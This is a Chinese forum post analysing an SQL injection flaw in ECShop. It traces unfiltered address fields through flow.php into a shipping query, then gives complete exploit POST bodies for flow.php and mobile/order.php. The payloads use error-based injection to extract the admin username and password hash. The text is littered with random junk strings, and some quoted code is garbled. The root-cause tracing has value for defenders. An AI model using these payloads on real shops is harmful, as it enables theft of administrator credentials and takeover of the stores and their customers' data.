找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2091|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。5 w1 \7 H8 F. w+ K, |4 }

3 N( o7 o: F  W) d; B" @* y4 l0 |    漏洞关键文件:
" D# S6 [9 M/ E
3 G5 |7 ^) v% L8 D0 p. P    /includes/lib_order.php6 A$ @1 h6 x1 u+ O

* r9 D; r" r7 v) I9 h( y' b2 l    关键函数:, `/ g" p' |/ \! y6 w  @

. q6 p+ O' {- T; R& h2 e : ^4 `& N/ g' r* I
. Y8 f, l' h" v0 q# D, P
01     function available_shipping_list($region_id_list)
; X7 N# _. h2 y/ ~8 B* Y4 `! l" D7 f2 Q- U" y( r  l
02 {
( i* g( d, _$ n0 v; r7 m( O7 g% `; k6 @" q! I- ^1 `, R
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ; J, J9 M# R  [7 k$ y) E
9 P. ?: C6 W& h" M1 y! ~0 p
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
8 e4 k1 D1 g8 Z% o
/ S1 [. j4 z: i4 d05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, R% m5 J+ I$ l- \" K4 k' j8 {
/ X. w7 P  h" e1 r8 ~06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 2 `; q/ O& R$ H/ ?& w& A4 y
" {7 C% C! n) J! G2 }4 |2 ?4 X
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' U, T" y7 \8 S: L
7 T1 z# ^/ H% C+ q6 Q, |08             'WHERE r.region_id ' . db_create_in($region_id_list) . ! `$ m/ a' A' ~1 y

6 F2 y* L& X, m$ S7 a# b09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& z3 E) P' o$ i* a+ r( ]4 Z3 S; `
, n5 d% g! k7 M: E+ o& b; m10   
  h- k/ C( V& d, `2 L1 M
5 R" n6 y" x; x( N( }8 `9 t11     return $GLOBALS['db']->getAll($sql); * S2 t$ K" p% v# a

% A3 j- K9 {3 b4 C& p12 }
/ t, h$ j1 {) e3 c9 Q, Z* p4 @- f! A6 _' X  e
显然对传入的参数没有任何过滤就带入了查询语句。% Q; ?7 m+ g6 u& B! P6 ~. C8 c

$ l# ^; z" f% n下面我们追踪这个函数在flow.php中:3 G4 U# s' p9 P; m
第531行:   
6 P, O# t% k9 m  |% |* `
! ^& W' O- T, T$ ~1 $shipping_list     = available_shipping_list($region);
3 \/ x& Z6 i  @+ f, e
5 u4 ~) I" `6 |/ L0 | * \9 W" L; t( a1 p* w0 ?; O
$ w' j( k; ~' I  H

/ r% g" X* G) O' u; W0 ^
3 \& F* \* Q* m, W* R& @) Q# r再对传入变量进行追踪:4 U" l, }# x5 O& j
2 Z- q3 x/ E2 z/ q6 R) \/ F7 G% C
第530行:    , S1 r: C; B' t- b  @

4 C+ M! F0 y8 t& t1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 9 p( P6 V2 ^, A+ s% P8 w
: k3 s# X4 R3 l. g
. a6 u% b4 v, u+ s5 c

- A0 C8 O$ R$ u5 Q* J4 {
: v' Y6 W# O2 I$ F- ~( q: ^0 G) f# y/ ^6 _
第473行:        
# t0 i8 f2 H/ x. R7 }' [& f8 d$ L) X9 p0 ^& y2 ^' g" _% S
1 $consignee = get_consignee($_SESSION['user_id']);
( F' x  Y& o4 s3 R: n
6 ^* M% i2 q  l+ k% Y到了一个关键函数:
$ H- N3 ~; s/ @& _9 X$ K
- Y& d, N0 N4 q2 _/includes/lib_order.php+ U8 p  c6 b0 Z8 j
- W# g( I* s1 v  c' _, h' P

- T% q0 O+ ]  H' G, F" H) C, m/ H, A, k1 s2 K4 T% O
( `1 C+ E, ?% r& ~1 `3 W

5 e2 R& y0 O2 w01 function get_consignee($user_id)
  q5 c( G7 |& b/ v0 Z* R3 K* ?# K6 A  ^$ D( N1 V
02 { ( N; `1 Y  `/ u1 M# ]5 N

) Z- j" J- X( o* G3 S. _6 p03     if (isset($_SESSION['flow_consignee'])) 3 m* I* K! V6 ?  u

' B. P2 U( q9 a7 {04     {
, t! _9 Q* `; ?4 {' H; ]* r  ]  P. I0 m( A1 n! w
05         /* 如果存在session,则直接返回session中的收货人信息 */ + d% i* r* i2 z# {; ?

* _5 f5 Y, i1 B" K$ W3 E06   5 r% _, k3 A& [. E, O

* p0 l3 J0 \* V: O; f/ ^07         return $_SESSION['flow_consignee']; : A' p" H. W7 P% w
# I) ^& R- Y& F% h- B
08     } 4 Z( n3 u6 H4 m
3 u  {3 i0 Y0 ]# S% q' O' k8 d
09     else : ]. G5 Y: u2 ]/ d* A, N
6 U" e; e9 l" Q& M& n
10     { & p8 t! e( ^: R: p% N! V$ f( g9 o: u

7 O* U3 t2 }1 |1 [! }11         /* 如果不存在,则取得用户的默认收货人信息 */
# r0 a+ y# W! L! Z5 D. n: T- A  b1 x) G
12         $arr = array(); 2 T, d1 ]) K7 s4 |! B( A: W

* D4 v5 [: `3 v9 `, ]& G+ L13   
/ b. W4 \9 W9 ]$ k- c4 f
; r- k: B, i2 L9 E1 I5 P14         if ($user_id > 0)
7 k: O. Z) b& r: f. `. B/ |% v+ l5 |3 D1 C0 X, t  j+ {
15         { 3 J% m2 I# E% _4 U3 m
1 s/ H2 Q* I) ^% u* g/ z; D8 r
16             /* 取默认地址 */ / O8 o. l7 f! |) z. s) Z

/ K9 W1 S: X) q* ^: H8 G17             $sql = "SELECT ua.*". 9 I! F* R( x, W5 g! G: r5 s

; t  \, O6 ^6 y% t; P, q7 i! R18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 9 T- y& m8 j$ W  j# x  p! ^
" P! j) t. N8 F& M" g
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";   f( ^: V2 G+ z8 s# a

. b6 N& t& A* l$ x- N20   ; j9 l: |: x4 ~0 G1 I3 g
5 G& z0 C( J4 ^, n' ]
21             $arr = $GLOBALS['db']->getRow($sql);
- a6 N2 X% F, W$ ]
$ n: }& L+ `' h22         }
  M( l* I( ]1 s: C- |' f
! v4 ]3 w2 E! E$ p& S% f" }. e23   5 C; o+ b+ y; x7 k& B
1 Q/ f$ |2 b3 s' c  g
24         return $arr;
( B* t) M& x# W% ?- H
) {# B0 a" g) l* s" t5 G7 b% J) O" ^25     }
$ C( h8 q' y) g7 F  K
, D: J  M6 G2 f26 }
* n8 q; w6 y* \/ n5 d* W3 Z2 g6 D6 j9 x4 _+ L3 E
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?, ^* o: g6 ?* N- {) h* S' d; `8 t

9 y: }5 I8 R7 @- g7 p* d% Y$ R# J
: J: O& f- f) g; `( X  i- Z9 L2 ]" F" B, ?* a' _
关键点:+ l0 C6 U, G, I" s0 F

, N" ^3 u, j7 }/ W9 c, |2 k第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 z+ _5 P8 r- @' ~% y. L
" ]) |. c# E9 e6 |
这里对传入参数反转义存入$_SESSION中。
2 w7 j% s% h" e  `! Z3 ]$ V$ D1 M8 u4 Y) |0 p3 `% {

$ |: @: A, I0 x* t( d
0 L' z! C5 o. u4 S4 x1 |然后看下:% A' V; F* ?5 c- t; H: Y8 e
0 S& V4 T0 f* Q* w5 z2 `& p# V

2 Y5 D7 T0 D& t" e! e: f# Q2 F; w8 @3 U' A8 ?6 n
    / U# q$ ~- e. P. @# f8 b0 z
( e9 p! S) P  I; r
01 $consignee = array( + S" y) |6 \" e7 k
" X. u6 {& I# C) T* \3 ]+ Y
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
4 X) a  b: g9 S/ B7 O" n. a, h" O$ ]$ F( N! G
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
  \+ K* `4 F' Y5 p* @! J$ Z8 Z6 v7 U) f) F7 ?- f
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
+ d( ]" A) d( g  T/ D+ o7 x/ ~! s
: r& N1 o& l( p9 Z: [' H05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
9 q$ {6 u+ O/ U7 ^1 A3 n9 P' R8 C- }& f% f6 w( q% P- e; Y
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 2 F8 d) o9 Y+ w: {) Y( K

, s9 k! |( R/ l- @  H! J07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
5 A" ~* i5 k  J0 ?6 `$ A6 h. {: H5 S) B
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
- @( _3 `4 z' a3 I! o
( P8 E0 s, ]5 l1 U8 i09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
  v, x( p, e) b1 U& h
* `! ]0 r, C/ S. A# ]10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), ' j7 s) Y; \6 P% M
, V/ d$ [+ G. |" H2 e0 P- x
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
0 g, |, ?$ X2 I3 f7 Y" _  U
& i. P) n2 p3 ^' S' k/ B9 [12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), , }. l7 `9 C8 ?. L% F8 L9 K

" b& R1 G6 c6 }3 `& `13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 3 R( b' j( Q( R

& M: C$ l# D; N7 I9 ^14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
9 ~0 X; U- C; ]& M3 E5 m$ g; a! _/ c0 b  u/ E
15     ); . b8 S# Y, e3 p  W( l& \, K4 K
  y3 \( k: U+ q+ ?0 |
好了注入就这样出现了。: N: }5 \7 o' a

, v" \$ y. ?# V  J$ U==================
" m6 M8 j' |. I  C& N% ?
: a4 Y9 N& h, z+ q  w注入测试:  m' |/ D% i) l" d! n6 `
* D4 P2 Y2 f# M* k/ i% n8 Z7 ~9 r
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 r  A( k8 a2 j( o. W5 a+ x
- f+ `& v- e" A
测试程序:ECShop_V2.7.3_UTF8_release1106
; o# Q. }# r3 W: E8 U4 x1 R  T1 @0 m. y. y0 s

- Q# M3 x& E" W. U9 i
2 g0 q3 R. y/ G5 R1.首先需要点击一个商品加入购物车/ n6 T) v  F& @
  L2 t( d5 a# X4 O
2.注册一个会员帐号3 b/ f& }+ Q9 I7 l3 `- {- i3 D2 C9 X
0 O0 D* |6 j* E. n$ M
3.post提交数据
5 L+ O" Y( @% }8 t5 B
: I% k/ I9 y; }2 {# r7 r8 R / O; v4 ~/ B" a! e, t4 K0 ?0 _

% R& c3 }  Q  U! p* k6 @1 }, L1 http://127.0.0.1/ecshop/flow.php 0 I( o4 Z" e& L# e. b

- u- j* C  D  R. b2   ; e3 q* H0 Y' r% e; }
/ f  [( j% F# T- t: i8 ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 G  v+ e# s$ @0 @举一反三,我们根据这个漏洞我们可以继续深入挖掘:% s' U9 i- {7 t7 ~

- p7 q  [6 `% K我们搜寻关键函数function available_shipping_list(). |9 \4 {8 F( f, K0 I: k& d
  n! A9 n5 b$ v+ K* G, k) {
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同  @3 r. Q$ G0 G3 P& x' j

# [8 V; V+ F+ H利用exp:
, C! h2 X/ }6 _) F6 b2 a  v: F# F% h6 u2 K2 H% `* _
1.点击一个商品,点击购买商标
; F# b/ v. A1 L: U4 l( U# ~3 s8 u+ q& ^
2.登录会员帐号' Z$ K: G1 V* g  {  p  C2 C
  t4 T& z+ ?5 M" _! w: p
3.post提交:
9 o2 J% Q1 }& c6 I
4 p7 V" n7 Q% Z) E# T. J. Xhttp://127.0.0.1/ecshop/mobile/order.php
7 q4 ~2 e; S3 t' x* a" D) a3 N- J& @. I$ p& ^1 d  c

7 ]9 z  Q# S( p& u" s% ]" e
3 j$ k. u! P) L5 c8 E4 kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 q0 X2 U# @# x1 @; `# l* k, B1 \, M+ I' J/ O$ S7 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表